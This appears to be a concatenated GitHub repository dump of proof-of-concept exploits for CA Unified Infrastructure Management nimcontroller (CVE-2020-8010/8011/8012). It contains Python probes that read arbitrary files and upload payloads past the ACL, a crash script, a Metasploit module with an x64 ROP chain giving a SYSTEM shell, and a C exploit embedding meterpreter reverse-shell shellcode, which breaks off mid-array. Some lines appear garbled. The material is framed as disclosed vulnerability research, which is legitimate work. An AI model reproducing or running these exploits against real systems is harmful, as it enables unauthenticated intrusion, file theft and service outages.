p_good("Probe successful\n") 100 | for k, v in result.items(): 101 | print("{:20} {:s}".format(k, v)) 102 | 103 | def probe(host, port): 104 | probe = generate_probe() 105 | 106 | p_info("Sending get_info probe to %s:%d" % (host, port)) 107 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 108 | sock.settimeout(TIMEOUT) 109 | try: 110 | sock.connect((host, port)) 111 | sock.send(probe) 112 | parse(sock.recv(4096)) 113 | except: 114 | p_error("Failed to connect to %s:%d" % (host, port)) 115 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/probes/text_file_get.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | text_file_get: read any text file from the filesystem 4 | 5 | ''' 6 | 7 | BYTES = "999999999\x00" 8 | 9 | from probes.dependencies import * 10 | 11 | def generate_probe(directory, filename): 12 | 13 | filename += "\x00" 14 | directory += "\x00" 15 | 16 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 17 | packet_body = ( 18 | "mtype\x00" 19 | "7\x004\x00100\x00" 20 | "cmd\x00" 21 | "7\x0014\x00" 22 | "text_file_get\x00" 23 | "seq\x00" 24 | "1\x002\x000\x00" 25 | "ts\x00" 26 | "1\x0011\x001570667980\x00" 27 | "frm\x00" 28 | ) 29 | packet_body += "7\x00{:d}\x00".format(len(CLIENT)) 30 | packet_body += CLIENT 31 | packet_body += ( 32 | "tout\x00" 33 | "1\x004\x00180\x00" 34 | "addr\x00" 35 | "7\x000\x00" 36 | ) 37 | 38 | packet_args = "directory\x00" 39 | packet_args += "7\x00{:d}\x00".format(len(directory)) 40 | packet_args += directory 41 | packet_args += "file\x00" 42 | packet_args += "7\x00{:d}\x00".format(len(filename)) 43 | packet_args += filename 44 | packet_args += "buffer_size\x00" 45 | packet_args += "1\x00{:d}\x00{:s}".format(len(BYTES), BYTES) 46 | 47 | packet_header = packet_header.format( 48 | len(packet_body), 49 | len(packet_args) 50 | ) 51 | 52 | probe = packet_header + packet_body + packet_args 53 | 54 | return bytes(probe, 'utf-8') 55 | 56 | def parse(response): 57 | 58 | flist = response.decode().split('\x00') 59 | index = flist.index("file_content") 60 | final = flist[index+3:] 61 | 62 | p_good("Probe successful\n") 63 | for i in range(len(final)): 64 | print(final[i]) 65 | 66 | def probe(host, port, directory, filename): 67 | probe = generate_probe(directory, filename) 68 | 69 | p_info("Sending text_file_get probe to %s:%d" % (host, port)) 70 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 71 | try: 72 | sock.connect((host, port)) 73 | sock.send(probe) 74 | parse(sock.recv(4096)) 75 | except: 76 | p_error("Failed to connect to %s:%d" % (host, port)) 77 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/probes/text_file_put.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | text_file_put: upload a text file (e.g powershell payload) 4 | 5 | ''' 6 | 7 | from probes.dependencies import * 8 | 9 | def generate_probe(directory, filename): 10 | fd = open(filename, "r") 11 | payload = fd.read() 12 | 13 | filename += "\x00" 14 | payload += "\x00" 15 | directory += "\x00" 16 | 17 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 18 | packet_body = ( 19 | "mtype\x00" 20 | "7\x004\x00100\x00" 21 | "cmd\x00" 22 | "7\x0014\x00" 23 | "text_file_put\x00" 24 | "seq\x00" 25 | "1\x002\x000\x00" 26 | "ts\x00" 27 | "1\x0011\x001570643978\x00" 28 | "frm\x00" 29 | ) 30 | packet_body += "7\x00{:d}\x00".format(len(CLIENT)) 31 | packet_body += CLIENT 32 | packet_body += ( 33 | "tout\x00" 34 | "1\x004\x00180\x00" 35 | "addr\x00" 36 | "7\x000\x00" 37 | ) 38 | 39 | packet_args = "directory\x00" 40 | packet_args += "7\x00{:d}\x00".format(len(directory)) 41 | packet_args += directory 42 | packet_args += "file\x00" 43 | packet_args += "7\x00{:d}\x00".format(len(filename)) 44 | packet_args += filename 45 | packet_args += ( 46 | "mode\x00" 47 | "7\x004\x00" 48 | "rwx\x00" 49 | "file_contents\x00" 50 | ) 51 | packet_args += "7\x00{:d}\x00".format(len(payload)) 52 | packet_args += payload 53 | 54 | packet_header = packet_header.format( 55 | len(packet_body), 56 | len(packet_args) 57 | ) 58 | 59 | probe = packet_header + packet_body + packet_args 60 | 61 | return bytes(probe, 'utf-8') 62 | 63 | def probe(host, port, directory, filename): 64 | probe = generate_probe(directory, filename) 65 | 66 | p_info("Sending text_file_put probe to %s:%d" % (host, port)) 67 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 68 | try: 69 | sock.connect((host, port)) 70 | sock.send(probe) 71 | except: 72 | p_error("Failed to connect to %s:%d" % (host, port)) 73 | 74 | if "written" in sock.recv(4096).decode(): 75 | p_good("Successful write") 76 | sock.close() 77 | p_info("Do you see your file?") 78 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8011 - Null Pointer Dereference/README.md: -------------------------------------------------------------------------------- 1 | # Null Pointer Dereference 2 | 3 | This directory contains the Null Pointer Dereference DoS vulnerability. Interestingly, the service will appear to be running but probes will no longer be parsed. 4 | 5 | ## DoS Example 6 | 7 | ![alt-text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/NULL%20Pointer%20Dereference/hasta_luego.gif) 8 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8011 - Null Pointer Dereference/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | 5 | Exploit Title : Hasta Luego (NULL PTR Dereference) 6 | Date : ?/?/19 7 | Author : wetw0rk 8 | Vendor Homepeage : https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en 9 | Software Link : heh 10 | Tested on : Windows 10 11 | 12 | Description : The crash occus when the buffer sent (or packet content) exceeds the 13 | packet header length. In this POC that would be 112. Was not able to 14 | get RCE but give it a go if you can ;) 15 | 16 | ''' 17 | 18 | import socket 19 | 20 | packet = ( 21 | "nimbus/1.0 112 0\r\n" 22 | "mtype\x00" 23 | ) 24 | packet += "B" * 600 25 | 26 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | sock.connect(("192.168.245.150", 48000)) 28 | sock.send(packet) 29 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8012 - Out Of Bounds Write/Metasploit Module/README.md: -------------------------------------------------------------------------------- 1 | # Vulnerable Application 2 | 3 | All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability 4 | within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges 5 | the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result 6 | in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to 7 | exploit the service an unlimited amount of times. 8 | 9 | ## Exploitation Example 10 | 11 | ![alt text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/Out%20Of%20Bounds%20Write/module.gif) 12 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8012 - Out Of Bounds Write/Metasploit Module/nimcontroller_bof.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Exploit::Remote 7 | Rank = ExcellentRanking 8 | 9 | include Msf::Exploit::Remote::Tcp 10 | include Msf::Exploit::Remote::AutoCheck 11 | 12 | def initialize(info = {}) 13 | super( 14 | update_info( 15 | info, 16 | 'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow', 17 | 'Description' => %q{ 18 | This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. 19 | The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list 20 | probe. 21 | 22 | Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the 23 | directory_list probe. 24 | }, 25 | 'License' => MSF_LICENSE, 26 | 'Author' => 27 | [ 28 | 'wetw0rk' # Vulnerability Discovery and Metasploit module 29 | ], 30 | 'References' => 31 | [ 32 | [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors) 33 | [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE 34 | [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ], 35 | [ 'PACKETSTORM', '156577' ] 36 | ], 37 | 'DefaultOptions' => 38 | { 39 | 'EXITFUNC' => 'process', 40 | 'AUTORUNSCRIPT' => 'post/windows/manage/migrate' 41 | }, 42 | 'Payload' => 43 | { 44 | 'Space' => 2000, 45 | 'DisableNops' => true 46 | }, 47 | 'Platform' => 'win', 48 | 'Arch' => ARCH_X64, 49 | 'Targets' => 50 | [ 51 | [ 52 | 'Windows Universal (x64) - v7.80.3132', 53 | { 54 | 'Platform' => 'win', 55 | 'Arch' => [ARCH_X64], 56 | 'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]', 57 | 'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe] 58 | } 59 | ], 60 | ], 61 | 'Privileged' => true, 62 | 'Notes' => { 'Stability' => [ CRASH_SAFE ] }, 63 | 'DisclosureDate' => 'Feb 05 2020', 64 | 'DefaultTarget' => 0 65 | ) 66 | ) 67 | 68 | register_options( 69 | [ 70 | OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']), 71 | Opt::RPORT(48000), 72 | ] 73 | ) 74 | 75 | end 76 | 77 | # check: there are only two prerequisites to getting code execution. The version number 78 | # and access to the directory_list probe. The easiest way to get this information is to 79 | # ask nicely ;) 80 | def check 81 | 82 | connect 83 | 84 | sock.put(generate_probe('get_info', ['interfaces=0'])) 85 | response = sock.get_once(4096) 86 | 87 | list_check = -1 88 | 89 | begin 90 | if target['Version'].in? response 91 | print_status("Version #{target['Version']} detected, sending directory_list probe") 92 | sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1'])) 93 | list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY']) 94 | end 95 | ensure 96 | disconnect 97 | end 98 | 99 | if list_check == 0 100 | return CheckCode::Appears 101 | else 102 | return CheckCode::Safe 103 | end 104 | 105 | end 106 | 107 | def exploit 108 | 109 | super 110 | connect 111 | 112 | shellcode = make_nops(500) 113 | shellcode << payload.encoded 114 | 115 | offset = rand_text_alphanumeric(1000) 116 | offset += "\x0f" * 33 117 | 118 | heap_flip = [target.ret].pack(' HMODULE GetModuleHandleA( 175 | # ( RCX == *module ) LPCSTR lpModuleName, 176 | # ); 177 | rop_gadgets = [0x0000000140018c42] * 15 # ret 178 | rop_gadgets += [ 179 | 0x0000000140002ef6, # pop rax ; ret 180 | 0x0000000000000000, # (zero out rax) 181 | 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 182 | 0x0000000000000000, # 183 | 0x0000000000000000, # 184 | 0x0000000000000000, # 185 | 0x0000000000000000, # 186 | 0x0000000000000000, # 187 | 0x0000000000000000 188 | ] # 189 | rop_gadgets += [0x0000000140018c42] * 10 # ret 190 | rop_gadgets += [ 191 | 0x0000000140131643, # pop rcx ; ret 192 | 0x00000000000009dd, # offset to "kernel32.dll" 193 | 0x000000014006d8d8 194 | ] # add rax, rcx ; add rsp, 0x38 ; ret 195 | 196 | rop_gadgets += [0x0000000140018c42] * 15 # ret 197 | 198 | rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret 199 | rop_gadgets += [ 200 | 0x0000000140002ef6, # pop rax ; ret 201 | 0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20) 202 | 0x00000001400d1161 203 | ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret 204 | rop_gadgets += [0x0000000140018c42] * 17 # ret 205 | 206 | # RAX -> FARPROC GetProcAddressStub( 207 | # ( RCX == &addr ) HMODULE hModule, 208 | # ( RDX == *module ) lpProcName 209 | # ); 210 | rop_gadgets += [ 211 | 0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 212 | 0x0000000140002ef6, # pop rax ; ret 213 | 0x0000000000000000, # (zero out rax) 214 | 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 215 | 0x0000000000000000, # 216 | 0x0000000000000000, # 217 | 0x0000000000000000, # 218 | 0x0000000000000000, # 219 | 0x0000000000000000, # 220 | 0x0000000000000000 221 | ] # 222 | rop_gadgets += [0x0000000140018c42] * 10 # ret 223 | rop_gadgets += [ 224 | 0x0000000140131643, # pop rcx ; ret 225 | 0x0000000000000812, # offset to "virtualprotectstub" 226 | 0x000000014006d8d8 227 | ] # add rax, rcx ; add rsp, 0x38 ; ret 228 | rop_gadgets += [0x0000000140018c42] * 15 # ret 229 | rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40] 230 | # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret 231 | 232 | rop_gadgets += [0x0000000140018c42] * 10 # ret 233 | rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret 234 | rop_gadgets += [0x0000000140018c42] * 10 # ret 235 | rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret 236 | rop_gadgets += [ 237 | 0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 238 | 0x0000000000000000, # 239 | 0x0000000000000000, # 240 | 0x0000000000000000 241 | ] # 242 | rop_gadgets += [0x0000000140018c42] * 6 # ret 243 | rop_gadgets += [ 244 | 0x0000000140002ef6, # pop rax ; ret 245 | 0x000000014015e318 246 | ] # GetProcAddressStub (0x00000000014015e338-20) 247 | rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret 248 | rop_gadgets += [0x0000000140018c42] * 17 # ret 249 | 250 | # RAX -> BOOL VirtualProtectStub( 251 | # ( RCX == *shellcode ) LPVOID lpAddress, 252 | # ( RDX == len(shellcode) ) SIZE_T dwSize, 253 | # ( R8 == 0x0000000000000040 ) DWORD flNewProtect, 254 | # ( R9 == *writeable location ) PDWORD lpflOldProtect, 255 | # ); 256 | rop_gadgets += [ 257 | 0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 258 | 0x000000014013d651, # pop r12 ; ret 259 | 0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 260 | 0x00000001400eba74 261 | ] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret 262 | rop_gadgets += [0x0000000140018c42] * 10 # ret 263 | rop_gadgets += [ 264 | 0x0000000140002ef6, # pop rax ; ret 265 | 0x0000000000000000 266 | ] 267 | rop_gadgets += [ 268 | 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 269 | 0x0000000000000000, # 270 | 0x0000000000000000, # 271 | 0x0000000000000000, # 272 | 0x0000000000000000, # 273 | 0x0000000000000000, # 274 | 0x0000000000000000 275 | ] # 276 | rop_gadgets += [0x0000000140018c42] * 10 # ret 277 | rop_gadgets += [ 278 | 0x0000000140131643, # pop rcx ; ret 279 | 0x000000000000059f, # (offset to *shellcode) 280 | 0x000000014006d8d8 281 | ] # add rax, rcx ; add rsp, 0x38 ; ret 282 | rop_gadgets += [0x0000000140018c42] * 15 # ret 283 | rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret 284 | rop_gadgets += [ 285 | 0x00000001400496a2, # pop rdx ; ret 286 | 0x00000000000005dc 287 | ] # dwSize 288 | rop_gadgets += [ 289 | 0x00000001400bc39c, # pop r8 ; ret 290 | 0x0000000000000040 291 | ] # flNewProtect 292 | rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) 293 | rop_gadgets += [0x0000000140018c42] * 17 # ret 294 | rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] 295 | # mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret 296 | 297 | rop_gadgets += [0x0000000140018c42] * 20 # ret 298 | 299 | rop_gadgets += [ 300 | 0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 301 | 0x0000000000000000, # (zero out rax) 302 | 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 303 | 0x0000000000000000, # 304 | 0x0000000000000000, # 305 | 0x0000000000000000, # 306 | 0x0000000000000000, # 307 | 0x0000000000000000, # 308 | 0x0000000000000000 309 | ] # 310 | rop_gadgets += [0x0000000140018c42] * 10 # ret 311 | rop_gadgets += [ 312 | 0x0000000140131643, # pop rcx ; ret 313 | 0x0000000000000317, # (offset to our shellcode) 314 | 0x000000014006d8d8 315 | ] # add rax, rcx ; add rsp, 0x38 ; ret 316 | rop_gadgets += [0x0000000140018c42] * 15 # ret 317 | rop_gadgets += [0x00000001400a9747] # jmp rax 318 | rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove) 319 | 320 | return rop_gadgets.pack(' '', 'date' => '', 'size' => '', 'type' => '' } 329 | i = 0 330 | 331 | begin 332 | dirlist = response.split('\x00')[0].split("\x00") 333 | index = dirlist.index('entry') + 3 334 | final = dirlist[index..-1] 335 | rescue StandardError 336 | print_error('Failed to gather directory listing') 337 | return -1 338 | end 339 | 340 | print_line("\n Directory of #{directory}\n") 341 | 342 | check = 0 343 | name = 0 344 | ftime = 0 345 | size = 0 346 | ftype = 0 347 | 348 | while i < final.length 349 | 350 | if name == 1 351 | unless final[i].to_i > 0 352 | result['name'] = final[i] 353 | name = 0 354 | check += 1 355 | end 356 | end 357 | if size >= 1 358 | if size == 3 359 | result['size'] = final[i] 360 | size = 0 361 | check += 1 362 | else 363 | size += 1 364 | end 365 | end 366 | if ftype >= 1 367 | if ftype == 3 368 | result['type'] = final[i] 369 | ftype = 0 370 | check += 1 371 | else 372 | ftype += 1 373 | end 374 | end 375 | if ftime >= 1 376 | if ftime == 3 377 | result['date'] = final[i] 378 | ftime = 0 379 | check += 1 380 | else 381 | ftime += 1 382 | end 383 | end 384 | 385 | if final[i].include? 'name' 386 | name = 1 387 | end 388 | if final[i].include? 'size' 389 | size = 1 390 | end 391 | if final[i].include? 'size' 392 | ftype = 1 393 | end 394 | if final[i].include? 'last_modified' 395 | ftime = 1 396 | end 397 | 398 | i += 1 399 | 400 | next unless check == 4 401 | 402 | if result['type'] == '2' 403 | result['type'] = '' 404 | else 405 | result['type'] = '' 406 | result['size'] = '' 407 | end 408 | 409 | begin 410 | time = Time.at(result['date'].to_i) 411 | timestamp = time.strftime('%m/%d/%Y %I:%M %p') 412 | rescue StandardError 413 | timestamp = '??/??/???? ??:?? ??' 414 | end 415 | 416 | print_line(format('%20s %6s %s', timestamp: timestamp, type: result['type'], name: result['name'])) 417 | 418 | check = 0 419 | end 420 | print_line('') 421 | return 0 422 | end 423 | 424 | # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially 425 | # craft probes in order for the controller to accept any input. 426 | def generate_probe(probe, args) 427 | 428 | client = "#{rand_text_alphanumeric(14)}\x00" 429 | packet_args = '' 430 | probe += "\x00" 431 | 432 | for arg in args 433 | 434 | c = '' 435 | i = 0 436 | 437 | while c != '=' 438 | 439 | c = arg[i] 440 | i += 1 441 | 442 | end 443 | 444 | packet_args << "#{arg[0, (i - 1)]}\x00" 445 | packet_args << "1\x00#{arg[i..-1].length + 1}\x00" 446 | packet_args << "#{arg[i..-1]}\x00" 447 | 448 | end 449 | 450 | packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args) 451 | packet_body = "mtype\x00" # mtype 452 | packet_body << "7\x004\x00100\x00" # 7.4.100 453 | packet_body << "cmd\x00" # cmd 454 | packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe) 455 | packet_body << probe # probe 456 | packet_body << "seq\x00" # seq 457 | packet_body << "1\x002\x000\x00" # 1.2.0 458 | packet_body << "ts\x00" # ts 459 | packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME) 460 | packet_body << "frm\x00" # frm 461 | packet_body << "7\x00#{client.length}\x00" # 7.(length of client) 462 | packet_body << client # client address 463 | packet_body << "tout\x00" # tout 464 | packet_body << "1\x004\x00180\x00" # 1.4.180 465 | packet_body << "addr\x00" # addr 466 | packet_body << "7\x000\x00" # 7.0 467 | # 468 | # probe packet arguments (dynamic) 469 | # argument 470 | # length of arg value 471 | # argument value 472 | 473 | packet_header << "#{packet_body.length} #{packet_args.length}\r\n" 474 | probe = packet_header + packet_body + packet_args 475 | 476 | return probe 477 | 478 | end 479 | 480 | end 481 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8012 - Out Of Bounds Write/PoC/VirtualProtect/README.md: -------------------------------------------------------------------------------- 1 | # Sing About Me Im Dying Of Thirst 2 | 3 | 4 | In this directory you'll find the PoC version of the Sing About Me Im Dying Of Thirst exploit. When launched the nimcontroller will remain in an IDLE state. You'll still get a shell but the service will remain unavailable to system administrators. I've decided not to include the method allowing execution to continue in order to prevent worms (IR should spot multiple IDLE services quick). Apart from that, the exploit is as stable as it gets. 5 | 6 | This is by far the most critical vulnerability found during my research on the Nimbus protocol and the most interesting. After gaining RIP control, the battle had just begun as x64 userland exploitation is not well documented. In fact this may be the first public example of a x64 userland vulnerability in Windows (NOT KERNEL OR WOW64). The only other case I've seen of this being done is in [Geluchat's](https://twitter.com/geluchat?lang=en) blog here: https://www.dailysecurity.fr/windows_exploit_64_bits_rop/ . 7 | 8 | 9 | ## Usage 10 | 11 | ``` 12 | root@kali:~# ./singAboutMeImDyingOfThirst 13 | usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL] 14 | 15 | Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare 16 | 17 | optional arguments: 18 | -h, --help show this help message and exit 19 | -t TARGET, --target TARGET target host to probe 20 | -p PORT, --port PORT nimcontroller port 21 | 22 | examples: 23 | ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000 24 | ``` 25 | 26 | Below is a screenshot of the POC tested on the newest version of Windows 10 Pro (at time of development). Within the snapshots directory of this repository I have also included a `webm` demonstrating exploitation. 27 | 28 | ![alt text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/Out%20Of%20Bounds%20Write/poc_release.png) 29 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8012 - Out Of Bounds Write/PoC/VirtualProtect/poc_release.c: -------------------------------------------------------------------------------- 1 | /************************************************************************************************************************** 2 | * Exploit Title : Sing About Me, I'm Dying Of Thirst * 3 | * Discovery : ??/??/19 * 4 | * Exploit Author : wetw0rk * 5 | * Exploit Version : Public POC * 6 | * CVE : CVE-2020-8012 * 7 | * Vendor Homepage : https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en * 8 | * Software Version : 7.80 * 9 | * Tested on : Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) * 10 | * Software Link : Good luck * 11 | * * 12 | * Description: * 13 | * * 14 | * Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. * 15 | * The exploit won't crash the service. However since this is the code I decided to share publicly, I will not share * 16 | * how to allow the nimcontroller to continue normal application flow after exploitation. If you are a "professional" * 17 | * or hacker solving this should be easily done with public tools. Upon success you should get a SYSTEM shell. * 18 | * * 19 | * You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it * 20 | * should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being * 21 | * universal (worked first try on 2012). * 22 | * * 23 | * Note: * 24 | * * 25 | * This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass * 26 | * the stack cookie. WE OUT HERE!!! * 27 | * * 28 | * Compile: * 29 | * * 30 | * gcc poc_release.c -o singAboutMeImDyingOfThirst * 31 | * * 32 | * Shoutout: * 33 | * * 34 | * Xx25, SneakyNachos, liquidsky, Itzik Kotler, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA * 35 | * for dropping Ghidra, and my Mentor * 36 | * * 37 | * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- * 38 | * 11/07/19 - Vendor contacted (POC code and POC video sent) * 39 | * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug * 40 | * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled * 41 | * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (...) * 42 | * 12/03/19 - Vendor confirms exploitability and vulnerability presence * 43 | * 12/13/19 - Vendor finalizing hotfix * 44 | * 12/19/19 - Vendor hotfix tested against POC code * 45 | * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 * 46 | * 01/21/20 - Vendor replies (awaiting more info) * 47 | * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch * 48 | **************************************************************************************************************************/ 49 | 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | 62 | /* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */ 63 | unsigned char shellcode[] = \ 64 | "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" 65 | "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" 66 | "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" 67 | "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" 68 | "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" 69 | "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" 70 | "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" 71 | "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" 72 | "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" 73 | "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" 74 | "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" 75 | "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 76 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" 77 | "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" 78 | "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" 79 | "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" 80 | "\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4" 81 | "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" 82 | "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" 83 | "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" 84 | "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" 85 | "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" 86 | "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" 87 | "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" 88 | "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" 89 | "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" 90 | "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" 91 | "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" 92 | "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" 93 | "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" 94 | "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" 95 | 